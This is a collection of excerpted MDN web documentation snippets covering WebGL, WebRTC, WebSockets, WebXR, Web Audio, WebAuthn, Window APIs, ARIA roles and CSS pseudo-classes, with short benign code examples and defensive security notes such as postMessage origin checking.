...que gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear the color buffer with specified clear color gl.clear(gl.color_buffer_bit); } window.onload = main; the first thing we do here is obtain a reference to the canvas, assigning it to a variable named canvas. once we have the canvas, we try to get a webglrenderingcontext for it by calling getcontext() and passing it the string "webgl". if the browser does not support webgl, getcontext() will return null in which case we display a message to the user and exit. if the context is successfully initialized, the variable gl is our reference to it. in this case, we set the clear color to black, and clear the context to that color (redrawing the canvas with the background color). at this point, you have enough code that the webgl context should ...
Using WebGL extensions - Web APIs
webgl, like its sister apis (opengl and opengl es), supports extensions. a complete list of extensions is available in the khronos webgl extension registry. note: in webgl, unlike in other gl apis, extensions are only available if explicitly requested. canonical extension names, vendor prefixes and preferences extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). in that case, their name can be prefixed by the vendor prefix (moz_, webkit_, etc.) or the extension is only available once a browser preference has been toggled. if you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the c...
... that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. for instance: var ext = ( gl.getextension('oes_vertex_array_object') || gl.getextension('moz_oes_vertex_array_object') || gl.getextension('webkit_oes_vertex_array_object') ); note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix. the feature flags are: webgl.enable-draft-extensions in firefox chrome://flags/#enable-webgl-draft-extensions in chromium based browsers (chrome, opera). naming conventions webgl extensions are prefixed with "angle", "oes", "ext" or "webgl". these prefixes reflect origin and intent: angle_: extensions ...
... library authors. oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture review boards (khronos). ovr_: extensions that optimize for virtual reality. ext_: extensions that mirror other opengl es or opengl api extensions. webgl_: extensions that are webgl-specific and intended to be compatible with multiple web browsers. it should also be used for extensions which originated with the opengl es or opengl apis, but whose behavior has been significantly altered. querying available extensions the webgl context supports querying what extensions are available. var available_extensions = gl.getsupportedextensions(); the webglrenderingcontext.getsupportedextensions() method returns an array of strings, one for e...
WebGL: 2D and 3D graphics for the web - Web APIs
Web › API › WebGL API
webgl does so by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. this conformance makes it possible for the api to take advantage of hardware graphics acceleration provided by the user's device. support for webgl is present in firefox 4+, google chrome 9+, opera 12+, safari 5.1+, internet explorer 11+, and microsoft edge build 10240+; however, the user's device must also have hardware that supports these features. ...
... site the main web site for webgl at the khronos group. webgl fundamentals a basic tutorial with fundamentals of webgl. webgl playground an online tool for creating and sharing webgl projects. good for quick prototyping and experimenting. webgl academy an html/javascript editor with tutorials to learn basics of webgl programming. webgl stats a site with statistics about webgl capabilities in browsers on different platforms. libraries glmatrix is a javascript matrix and vector library for high-performance webgl apps. philogl is a webgl framework for data visualization, creative coding, and game development. pixi.js is a fast, open-source 2d webgl renderer. playcanvas is an open-source game engine. sylvester is an open-source library for manipulating vectors and matrices. not optimi...
...reative coding, and game development. pixi.js is a fast, open-source 2d webgl renderer. playcanvas is an open-source game engine. sylvester is an open-source library for manipulating vectors and matrices. not optimized for webgl but extremely robust. three.js is an open-source, fully featured 3d webgl library. phaser is a fast, free and fun open source framework for canvas and webgl powered browser games. redgl is an open-source 3d webgl library. vtk.js is a javascript library for scientific visualization in your browser. specifications specification status comment opengl es 3.0 standard opengl es 2.0 standard webgl 2.0 editor's draft builds on top of webgl 1. based on opengl es 3.0. webgl 1.0 recommendatio...
Improving compatibility using WebRTC adapter.js - Web APIs
while the webrtc specification is relatively stable, not all browsers have fully implemented all of its features. in addition, some browsers still have prefixes on some or all webrtc apis. while you can manually code around these issues, there is an easier way. the webrtc organization provides on github the webrtc adapter to work around compatibility issues in different browsers' webrtc implementations. the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support. there's no need to conditionally use prefixed apis or implement other workarounds. ...
...y issues in different browsers' webrtc implementations. the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support. there's no need to conditionally use prefixed apis or implement other workarounds. note: since there is ongoing fluidity in functionality and naming of api terms in webrtc and supporting browsers, use of this adapter is generally recommended. the adapter is provided under a bsd-style license. what adapter.js does for each version of each browser that supports webrtc, adapter.js implements the needed polyfills, establishes the non-prefixed names of apis, and applies any other changes needed to make the browser run code written to the webrtc specification. for example, on firefox ve...
...apter.js, you need to include adapter.js on any page that uses webrtc apis: download a copy of the latest version of adapter.js from github. place it in your site's directory structure (such as in your scripts directory). include adapter.js in your project: <script src="adapter.js"></script> write your code, using webrtc apis per the specification, knowing that your code should work on all browsers. keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser). ...
Writing WebSocket servers - Web APIs
ndard tcp socket. depending on your platform, this may be handled for you automatically. for example, let's assume that your server is listening on example.com, port 8000, and your socket server responds to get requests at example.com/chat. warning: the server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. browsers generally require a secure connection for websockets, although they may offer an exception for local devices. the handshake is the "web" in websockets. it's the bridge from http to websockets. in the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. the server must be careful to understand everything the client ...
...ersion: 13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, common headers like user-agent, referer, cookie, or authentication headers might be there as well. do whatever you want with those; they don't directly pertain to the websocket. it's also safe to ignore them. in many common setups, a reverse proxy has already dealt with them. tip: all browsers send an origin header. you can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 forbidden if you don't like what you see. however, be warned that non-browser agents can send a faked origin. most applications reject requests without this header. if any header is not understood or has an incorrect value, the server should send a 40...
...if the server doesn't understand that version of websockets, it should send a sec-websocket-version header back that contains the version(s) it does understand. in the example above, it indicates version 13 of the websocket protocol. the most interesting header here is sec-websocket-key. let's look at that next. ...
WebXR application life cycle - Web APIs
webxr application, without diving down to the code level in detail. this serves as preparation for the next few articles in these webxr guides, which cover starting up and shutting down a webxr session, geometry, simulating cameras, spatial tracking, and more. life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's device and browser are both capable of presenting the xr experience you want to provide. make sure the webxr api is available; if navigator.xr is undefined, you can assume the user's browser and/or device doesn't support webxr. if it's not supported, disable any user interface used to activate xr features and abort any attempts to enter xr mode. call navigator.xr.issessionsupported(), specifying the webx...
...rm the computations needed for each frame to be rendered. this will reduce the chance that the rendering process will noticeably stall the app. each requestanimationframe() callback should use the information provided about the objects located in the 3d world to render the frame using webgl. each time the callback is invoked, it should call requestanimationframe() again in order to let the browser know that the callback needs to be run again when it's time to render the next frame. when the time comes (such as when the user exits your app or navigates away from your site), end the xr session; otherwise, continue the loop until the user chooses to exit xr mode. to end the xr session yourself, call xrsession.end(). include a handler for the xrsession event end event to be i...
.... when the time comes (such as when the user exits your app or navigates away from your site), end the xr session; otherwise, continue the loop until the user chooses to exit xr mode. to end the xr session yourself, call xrsession.end(). include a handler for the xrsession event end event to be informed when the session is ending, regardless of whether your code, the user, or the browser initiated the termination of the session. ...
Advanced techniques: Creating and sequencing audio - Web APIs
note: this instrument was not created to sound good, it was created to provide demonstration code and represents a very simplified version of such an instrument. the sounds are based on a dial-up modem. if you are unaware of how one sounds you can listen to one here. creating an audio context as you should be used to by now, each web audio api app starts with an audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. the oscillatornode comes with basic waveforms out of the box — sine...
...ote: why -1 to 1? when outputting sound to a file or speakers we need to have a number to represent 0db full scale — the numerical limit of the fixed point media or dac. in floating point audio, 1 is a convenient number to map to "full scale" for mathematical operations on signals, so oscillators, noise generators and other sound sources typically output bipolar signals in the range -1 to 1. a browser will clamp values outside this range. creating a buffer source now we have the audio buffer and have filled it with data, we need a node to add to our graph that can use the buffer as a source. we'll create a audiobuffersourcenode for this, and pass in the data we've created: let noise = audioctx.createbuffersource(); noise.buffer = buffer; if we connect this through our audio graph and pl...
... ...
Attestation and Assertion - Web APIs
vice model. that is, all "samsung galaxy s8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate. the attestation is returned through the webauthn api as the authenticatorattestationresponse. the attestation format contains two basic arraybuffers: clientdatajson - an arraybuffer that contains a json representation of what the browser saw when being asked to authenticate. attestationobject - cryptographic attestation that a newly generated keypair was created by that authenticator. contains authenticator data and an attestation statement. the authenticator data contains an attestedcredentialdata field. the attestedcredentialdata field contains the credentialid and credentialpublickey. (the authenticator data is the sam...
... android key attestation - one of the features added in android o was android key attestation, which enables the android operating system to attest to keys. android safetynet -prior to android key attestation, the only option for android devices was to create android safetynet attestations fido u2f - security keys that implement the fido u2f standard use this format none - browsers may prompt users whether they want a site to be allowed to see their attestation data and/or may remove attestation data from the authenticator's response if the `attestation` parameter in `navigator.credentials.create()` is set to `none` the purpose of attestation is to cryptographically prove that a newly generated key pair came from a specific device. this provides a root of trust for a...
...ertion. unlike the attestation, the format of the assertion is always the same regardless of the device being used. the assertion is returned through the webauthn api as the authenticatorassertionresponse. the assertion format is fairly simple as it contains four basic arraybuffers: clientdatajson - the same as in attestation. an arraybuffer that contains a json representation of what the browser saw when being asked to authenticate. authenticatordata - data created and/or used by the authenticator signature - a signature over the clientdatajson and authenticatordata that can be verified with the public key that was created during registration. userhandle - optional. (nullable) a user identifier. this may be a username, or a hash of a username, etc. used by a service t...
Window.getComputedStyle() - Web APIs
indexing with css property names. syntax var style = window.getcomputedstyle(element [, pseudoelt]); element the element for which to get the computed style. pseudoeltoptional a string specifying the pseudo-element to match. omitted (or null) for real elements. the returned style is a live cssstyledeclaration object, which updates automatically when the element's styles are changed. throws typeerror if the passed object is not an element or the pseudoelt is not a valid pseudo-element selector or is ::part() or ::slotted(). note: valid pseudo-element selector refers to syntactic validity, e.g. ::unsupported is considered valid, even though the pseudo-element itself is not supported. examples in this example we style a <p> element, then retrieve those styles using get...
...log('the generated content is: ', result); // returns ' rocks!' </script> notes the returned cssstyledeclaration object contains active values for css property longhand names. for example, border-bottom-width instead of the border-width and border shorthand property names. it is safest to query values with only longhand names like font-size. shorthand names like font will not work with most browsers. css property values may be accessed using the getpropertyvalue(propname) api or by indexing directly into the object such as obj['z-index'] or obj.zindex. the values returned by getcomputedstyle are resolved values. these are usually the same as css 2.1’s computed values, but for some older properties like width, height, or padding, they are instead the same as used values. originally, cs...
...0 properties, getcomputedstyle returns the old meaning of computed values, now called used values. an example difference between pre- and post-layout values includes the resolution of percentages for width or height, as those will be replaced by their pixel equivalent only for used values. returned values are sometimes deliberately inaccurate. to avoid the “css history leak” security issue, browsers may lie about the computed styles for a visited link, returning values as if the user never visited the linked url. see plugging the css history leak and privacy-related changes coming to css :visited for examples of how this is implemented. during css transitions, getcomputedstyle returns the original property value in firefox, but the final property value in webkit. in firefox, properties ...
Window.minimize() - Web APIs
Web › API › Window › minimize
the window.minimize() method sets the window to a minimized state. a way to undo this method programatically is by calling window.moveto(). browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetminimize non-standardchrome no support noedge no support nofirefox no support noie ? opera ? ...
... ...
... ...
Window.openDialog() - Web APIs
Web › API › Window › openDialog
); if you set the properties of the retvals object in the dialog code as described below, you can now access them via the retvals array after the opendialog() call returns. inside the dialog code, you can set the properties as follows: var retvals = window.arguments[2]; retvals.address = enteredaddress; retvals.delivery = "immediate"; specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopendialog non-standardc...
... ...
... ...
window.postMessage() - Web APIs
e you trusted to send only trusted messages could then open a cross-site scripting hole in your site. always specify an exact target origin, not *, when you use postmessage to send data to other windows. a malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postmessage. secure shared memory messaging if postmessage() throws when used with sharedarraybuffer objects, you might need to make sure you cross-site isolated your site properly. shared memory is gated behind two http headers: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victims from your origin) cross-origin-opener-policy: same-origin cross-or...
... example /* * in window a's scripts, with a being on <http://example.com:8080>: */ var popup = window.open(/* popup details */); // when the popup has fully loaded, if not blocked by a popup blocker: // this does nothing, assuming the window hasn't changed its location. popup.postmessage("the user is 'bob' and the password is 'secret'", "https...
...ender of the message, using the origin and possibly source properties. this cannot be overstated: failure to check the origin and possibly source properties enables cross-site scripting attacks. as with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of postmessage to detect when an event handler listening for events sent by postmessage throws an exception. postmessage() schedules the messageevent to be dispatched only after all pending execution contexts have finished. for example, if postmessage() is invoked in an event handler, that event handler will run to completion, as will any remaining handlers for that same event, before the messageevent is dispatched. the value of the origin property of the dispatched event is not affected...
Window.releaseEvents() - Web APIs
er, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload. example window.releaseevents(event.keypress) notes note that you can pass a list of events to this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup). see also window.captureevents ( ). specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecated...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
Window.routeEvent() - Web APIs
Web › API › Window › routeEvent
obsolete since gecko 24 (firefox 24 / thunderbird 24 / seamonkey 2.21)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecate...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
Window.screenX - Web APIs
Web › API › Window › screenX
examples in our screenleft-screentop (source code) example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop (source code) example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop (source code) example, you'll see a canvas onto which has been drawn a circle. ...
Window.screenY - Web APIs
Web › API › Window › screenY
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
Window.sessionStorage - Web APIs
the read-only sessionstorage property accesses a session storage object for the current origin. sessionstorage is similar to localstorage; the difference is that while data in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends. a page session lasts as long as the browser is open, and survives over page reloads and restores. opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work. opening multiple tabs/windows with the same url creates sessionstorage for each tab/window. closing a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a scri...
...onverted to strings. syntax mystorage = window.sessionstorage; value a storage object which can be used to access the current origin's session storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). ...
...file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to persist data for the specified origin. example the following snippet accesses the current origin's session storage object and adds data to it with storage.setitem(). sessionstorage.setitem('mycat', 'tom'); the following example autosaves the contents of a text field, and if the browser is refreshed, restores the text field content so that no writing is lost. // get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only happen if the page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("...
Window.setCursor() - Web APIs
Web › API › Window › setCursor
() method sets the cursor for the current window. example function setbusycursor(enable) { window.setcursor(enable ? "wait" : "auto"); } notes the cursor isn't reset until it's set back to auto. this function is a part of chromewindow interface. this function is unavailable to web pages, which can use the css cursor property instead. specification this is not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetcursor non-standardch...
... ...
... ...
Window.showModalDialog() - Web APIs
window has scroll bars; otherwise its size is fixed. default is no. note: firefox does not implement the dialoghide, edge, status, or unadorned arguments. examples try out showmodaldialog(). notes showmodaldialog() was briefly standardized as part of html5. the third argument for additional options was not present in the html5 version. specification msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecat...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
Window.updateCommands() - Web APIs
pdate event this is (e.g. whether we are in bold right now). notes this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes. specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatecommands non-stand...
... ...
... ...
WindowEventHandlers.onbeforeunload - Web APIs
moreover, some don't display them at all. ...
...ecification states that authors should use the event.preventdefault() method instead of using event.returnvalue to prompt the user. window.addeventlistener('beforeunload', function (e) { // cancel the event e.preventdefault(); // if you prevent default behavior in mozilla firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript may stop when leaving and then navigating back to the page. you can bind to window...
...if you do so, javascript in the page will be triggered on the subsequent return visit and update the content as desired. ...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
ion or code. see delay restrictions below for details on the permitted range of delay values. arg1, ..., argn optional additional arguments which are passed through to the function specified by func once the timer expires. note: passing additional arguments to setinterval() in the first syntax does not work in internet explorer 9 and earlier. if you want to enable this functionality on that browser, you must use a polyfill (see the callback arguments section). return value the returned intervalid is a numeric, non-zero value which identifies the timer created by the call to setinterval(); this value can be passed to windoworworkerglobalscope.clearinterval() to cancel the timeout. it may be helpful to be aware that setinterval() and settimeout() share the same pool of ids, and that cle...
...pause = function () { clearinterval(this.session); this.paused = true; }; minidaemon.prototype.start = function (breverse) { var bbackw = boolean(breverse); if (this.backw === bbackw && (this.isatend() || !this.paused)) { return; } this.backw = bbackw; this.paused = false; this.synchronize(); }; minidaemon passes arguments to the callback function. if you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above. syntax var mydaemon = new minidaemon(thisobject, callback[, rate[, length]]); description returns a javascript object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate). arguments thisobject the this object on which the callback fun...
...fter the specified delay, use windoworworkerglobalscope.settimeout(). delay restrictions it's possible for intervals to be nested; that is, the callback for setinterval() can in turn call setinterval() to start another interval running, even though the first one is still going. to mitigate the potential impact this can have on performance, once intervals are nested beyond five levels deep, the browser will automatically enforce a 4 ms minimum value for the interval. attempts to specify a value less than 4 ms in deeply-nested calls to setinterval() will be pinned to 4 ms. browsers may enforce even more stringent minimum values for the interval under some circumstances, although these should not be common. note also that the actual amount of time that elapses between calls to the callback may...
WorkerNavigator - Web APIs
workernavigator.permissions read only returns a permissions object that can be used to query and update permission status of apis covered by the permissions api. navigator.storageread only returns a storagemanager interface for managing persistance permissions and estimating available storage. inherited properties navigatorid.appcodename read only always returns 'mozilla', in any browser. this property is kept only for compatibility purposes. navigatorid.appname read only returns the official name of the browser. do not rely on this property to return the correct value. navigatorid.appversion read only returns the version of the browser as a string. do not rely on this property to return the correct value. navigatorconcurrenthardware.hardwareconcurrencyread only retu...
... property to return the correct value. navigatorid.appversion read only returns the version of the browser as a string. do not rely on this property to return the correct value. navigatorconcurrenthardware.hardwareconcurrencyread only returns the number of logical processor cores available. navigatorlanguage.languageread only returns a domstring representing the language version of the browser. the null value is returned when this is unknown. navigatorlanguage.languagesread only returns an array of domstrings representing the languages known to the user, in order of preference. navigatoronline.onlineread only returns a boolean indicating whether the browser is online. navigatorid.platform read only returns a string representing the platform of the browser. do not rely on th...
...ay of domstrings representing the languages known to the user, in order of preference. navigatoronline.onlineread only returns a boolean indicating whether the browser is online. navigatorid.platform read only returns a string representing the platform of the browser. do not rely on this property to return the correct value. navigatorid.product read only always returns 'gecko', on any browser. this property is kept only for compatibility purposes. navigatorid.useragentread only returns the user agent string for the current browser. methods the workernavigator interface implements methods from the navigatorid, navigatorlanguage and navigatoronline interfaces. specifications specification status comment html living standardthe definition of 'workern...
Using XMLHttpRequest in IE6 - Web APIs
xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control. however, in ie7 and other browsers xmlhttprequest is a native javascript object. ...
... xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control. however, in ie7 and other browsers xmlhttprequest is a native javascript object. ...
...tivex control. however, in ie7 and other browsers xmlhttprequest is a native javascript object. ...
Using the link role - Accessibility
the link role is used to identify an element that creates a hyperlink to a resource that is in the application or external. when this role is added to an element, tab can be used to change focus to the link, and enter used to execute the link. note: where possible, it is recommended that you use a native <a> element rather than the link role, as native elements are more widely supported by older user agents and assistive technology. native <a> elements also support keyboard and focus requirements by default, without need for additional customization. ...
...d really use that if possible. but this shows that it can be done. you should however note that there are still problems with this approach: it is very difficult to detect whether the target of the fake link has been visited before, and therefore use :visited styles (e.g. the default purple color for visited links). opening a page using the open() method counts as being a popup, and certain browsers may issue a warning when you try to activate it, or make you explicitly agree to allowing popups form the domain it exists on. html <h1>role="link" example</h1> <span data-href="https://mozilla.org" tabindex="0" id="link1" role="link" class="link"> fake accessible link created using a span </span> <p><a href="https://mozilla.org" target="_blank">actual real link</a></p> css span[role...
... aria attributes used link related aria techniques button role additional resources aria best practices - link role: http://www.w3.org/tr/wai-aria-practices/#link ...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
“delete history after” is to the left of the textbox, x is the number, for example 21, and the word “days” follows the textbox, forming a sentence that is easy to understand. ...
... want to concatenate into a single accessible name. both aria-labelledby and aria-describedby are specified on the form element that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overridden by aria-labelledby. if on an html page you provide aria-labelledby, you should also provide a label for construct to also support older browsers that do not have aria support yet. with firefox 3, your blind users will automatically get better accessibility from the new attribute, but the users of older browsers are not left in the dark this way. example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input...
...for labels with embedded form controls, using aria-labelledby is still the best approach. ...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
s included in the match. punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes. some languages have digraphs that are always capitalized together, like the ij in dutch. in these cases, both letters of the digraph should be matched by the ::first-letter pseudo-element. ...
...match. punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes. some languages have digraphs that are always capitalized together, like the ij in dutch. in these cases, both letters of the digraph should be matched by the ::first-letter pseudo-element. ...
...oorly supported by browsers; see the browser compatibility table below.) a combination of the ::before pseudo-element and the content property may inject some text at the beginning of the element. in that case, ::first-letter will match the first letter of this generated content. css3 introduced the ::first-letter notation (with two colons) to distinguish pseudo-classes from pseudo-elements. browsers also accept :first-letter, introduced in css2. allowable properties only a small subset of css properties can be used with the ::first-letter pseudo-element: all font properties : font, font-style, font-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligat...
:checked - CSS: Cascading Style Sheets
Web › CSS › :checked
type="radio">), checkbox (<input type="checkbox">), or option (<option> in a <select>) element that is checked or toggled to an on state. /* matches any checked/selected radio, checkbox, or option */ :checked { margin-left: 25px; border: 1px solid blue; } the user can engage this state by checking/selecting an element, or disengage it by unchecking/deselecting the element. note: because browsers often treat <option>s as replaced elements, the extent to which they can be styled with the :checked pseudo-class varies from browser to browser. syntax :checked examples basic example html <div> <input type="radio" name="my-input" id="yes"> <label for="yes">yes</label> <input type="radio" name="my-input" id="no"> <label for="no">no</label> </div> <div> <input type="checkbox...
...[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable { visibility: collapse; background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbo...
.... html5the definition of ':checked' in that specification. recommendation defines the semantic regarding html. selectors level 4the definition of ':checked' in that specification. working draft no change. selectors level 3the definition of ':checked' in that specification. recommendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:checkedchrome ...
:focus-visible - CSS: Cascading Style Sheets
keyboard). note that firefox supports similar functionality through an older, prefixed pseudo-class — :-moz-focusring. ...
...ndicator a custom control, such as a custom element button, can use :focus-visible to selectively apply a focus indicator only on keyboard-focus. this matches the native focus behavior for controls like <button>. ...
... controls like <button>. <custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fallback style for browsers that don't support :focus-visible */ outline: none; background: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */ background: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support :focus-visible */ outline: 4px dashed darkorange; background: transparent; } polyfill you can polyfill :focus-visible using focus-visible.js. accessibility concerns low vision make sure the...
:has() - CSS: Cascading Style Sheets
Web › CSS › :has
the :has() css pseudo-class represents an element if any of the selectors passed as parameters (relative to the :scope of the given element) match at least one element. ...
...attr-modifier> = i | s description the :has() pseudo-class takes a relative selector list as an argument. in earlier revisions of the css selectors level 4 specification, :has had a limitation that it couldn't be used within stylesheets. instead, it could only be used with functions like document.queryselector(); this was due to performance concerns. this limitation has been removed because no browser implemented it that way. instead, browsers currently only support the use of :has() within stylesheets. examples matching <a> elements that directly contain an <img> the following selector matches only <a> elements that directly contain an <img> child: a:has(> img) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> eleme...
...ectly contain an <img> child: a:has(> img) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> element directly following them: h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:has()chrome ...
:visited - CSS: Cascading Style Sheets
Web › CSS › :visited
es defined by the :visited pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :hover, or :active) that has at least equal specificity. to style links appropriately, put the :visited rule after the :link rule but before the :hover and :active rules, as defined by the lvha-order: :link — :visited — :hover — :active. styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color. allowable svg attributes are fill and stroke. the alpha component of t...
....getcomputedstyle method will lie and always return the value of the non-:visited color. note: for more information on these limitations and the reasons behind them, see privacy and the :visited selector. syntax :visited examples properties that would otherwise have no color or be transparent cannot be modified with :visited. of the properties that can be set with this pseudo-class, your browser probably has a default value for color and column-rule-color only. thus, if you want to modify the other properties, you'll need to give them a base value outside the :visited selector. html <a href="#test-visited-link">have you visited this link yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing t...
